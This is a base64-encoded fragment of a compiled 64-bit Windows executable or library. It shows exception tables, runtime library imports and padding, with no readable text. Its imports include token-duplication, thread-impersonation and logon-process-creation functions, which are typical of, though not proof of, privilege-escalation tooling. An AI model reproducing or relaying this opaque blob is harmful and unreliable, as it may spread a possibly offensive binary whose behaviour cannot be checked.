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YW5kbGUAZwVTdXNwZW5kVGhyZWFkAKsEUmVzdW1lVGhyZWFkAADnAENyZWF0ZVRocmVhZAAAS0VSTkVMMzIuZGxsAAASAk9wZW5Qcm9jZXNzVG9rZW4AAIwAQ3JlYXRlUHJvY2Vzc1dpdGhMb2dvblcAFwJPcGVuVGhyZWFkVG9rZW4A6gJTZXRUaHJlYWRUb2tlbgAAbwFHZXRUb2tlbkluZm9ybWF0aW9uAO4ARHVwbGljYXRlVG9rZW4AAEFEVkFQSTMyLmRsbAAAJQFFbmNvZGVQb2ludGVyAP8ARGVjb2RlUG9pbnRlcgBXAUV4aXRQcm9jZXNzAGwCR2V0TW9kdWxlSGFuZGxlRXhXAADUA011bHRpQnl0ZVRvV2lkZUNoYXIA2wVXaWRlQ2hhclRvTXVsdGlCeXRlAM8BR2V0Q29tbWFuZExpbmVXALYEUnRsUGNUb0ZpbGVIZWFkZXIAQwRSYWlzZUV4Y2VwdGlvbgAAtARSdGxMb29rdXBGdW5jdGlvbkVudHJ5AAC6BFJ0bFVud2luZEV4AGoDSXNEZWJ1Z2dlclByZXNlbnQAcANJc1Byb2Nlc3NvckZlYXR1cmVQcmVzZW50ACkBRW50ZXJDcml0aWNhbFNlY3Rpb24AAKUDTGVhdmVDcml0aWNhbFNlY3Rpb24AAEEDSGVhcFNpemUAADwDSGVhcEZyZWUAAAYBRGVsZXRlQ3JpdGljYWxTZWN0aW9uAK0EUnRsQ2FwdHVyZUNvbnRleHQAuwRSdGxWaXJ0dWFsVW53aW5kAACQBVVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAUAVTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAGAVTZXRMYXN0RXJyb3IAAFEDSW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbkFuZFNwaW5Db3VudABfBVNsZWVwAIAFVGxzQWxsb2MAAIIFVGxzR2V0VmFsdWUAgwVUbHNTZXRWYWx1ZQCBBVRsc0ZyZWUAxQJHZXRTdGFydHVwSW5mb1cAxwJHZXRTdGRIYW5kbGUAAO8FV3JpdGVGaWxlAGkCR2V0TW9kdWxlRmlsZU5hbWVXAACqA0xvYWRMaWJyYXJ5RXhXAAB1A0lzVmFsaWRDb2RlUGFnZQCqAUdldEFDUAAAjQJHZXRPRU1DUAAAuQFHZXRDUEluZm8AOANIZWFwQWxsb2MAFAJHZXRDdXJyZW50VGhyZWFkSWQAAKkCR2V0UHJvY2Vzc0hlYXAAAEUCR2V0RmlsZVR5cGUAMARRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgAQAkdldEN1cnJlbnRQcm9jZXNzSWQA3QJHZXRTeXN0ZW1UaW1lQXNGaWxlVGltZQAuAkdldEVudmlyb25tZW50U3RyaW5nc1cAAKMBRnJlZUVudmlyb25tZW50U3RyaW5nc1cAPwNIZWFwUmVBbGxvYwCZA0xDTWFwU3RyaW5nVwAA/QNPdXRwdXREZWJ1Z1N0cmluZ1cAAMwCR2V0U3RyaW5nVHlwZVcAAJgBRmx1c2hGaWxlQnVmZmVycwAA4gFHZXRDb25zb2xlQ1AAAPQBR2V0Q29uc29sZU1vZGUAAAsFU2V0RmlsZVBvaW50ZXJFeAAALgVTZXRTdGRIYW5kbGUAAO4FV3JpdGVDb25zb2xlVwDCAENyZWF0ZUZpbGVXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdZgAAHOYAAAyot8tmSsAAM1dINJm1P//AQAAAAIAAAAg/wFAAQAAAAAAAAAAAAAAIP8BQAEAAAABAQAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAFgAAAAIAAAACAAAAAwAAAAIAAAAEAAAAGAAAAAUAAAANAAAABgAAAAkAAAAHAAAADAAAAAgAAAAMAAAACQAAAAwAAAAKAAAABwAAAAsAAAAIAAAADAAAABYAAAANAAAAFgAAAA8AAAACAAAAEAAAAA0AAAARAAAAEgAAABIAAAACAAAAIQAAAA0AAAA1AAAAAgAAAEEAAAANAAAAQwAAAAIAAABQAAAAEQAAAFIAAAANAAAAUwAAAA0AAABXAAAAFgAAAFkAAAALAAAAbAAAAA0AAABtAAAAIAAAAHAAAAAcAAAAcgAAAAkAAAAGAAAAFgAAAIAAAAAKAAAAgQAAAAoAAACCAAAACQAAAIMAAAAWAAAAhAAAAA0AAACRAAAAKQAAAJ4AAAANAAAAoQAAAAIAAACkAAAACwAAAKcAAAANAAAAtwAAABEAAADOAAAAAgAAANcAAAALAAAAGAcAAAwAAAAMAAAACAAAAPBIAUABAAAA+EgBQAEAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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